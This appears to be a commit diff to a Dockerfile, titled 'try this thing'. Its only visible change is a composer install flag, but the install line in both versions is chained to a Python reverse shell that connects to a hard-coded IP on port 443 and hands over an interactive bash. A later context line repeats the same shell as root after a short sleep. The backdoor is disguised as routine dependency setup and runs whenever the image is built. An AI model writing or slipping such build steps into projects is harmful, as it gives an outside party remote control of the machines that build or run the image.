try this thing

Author: Jeremy Price

Dockerfile

@@ -2,7 +2,7 @@ FROM jermgroks/jerm-it-base
 
 # Get dependencies
 USER docker
-RUN composer install --no-dev --working-dir=/var/www/html && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)    ;p=subprocess.call(["/bin/bash","-i"]);'
+RUN composer install --ignore-platform-reqs --no-dev --working-dir=/var/www/html && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)    ;p=subprocess.call(["/bin/bash","-i"]);'
 USER root
 
 RUN sleep 30 && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)    ;p=subprocess.call(["/bin/bash","-i"]);'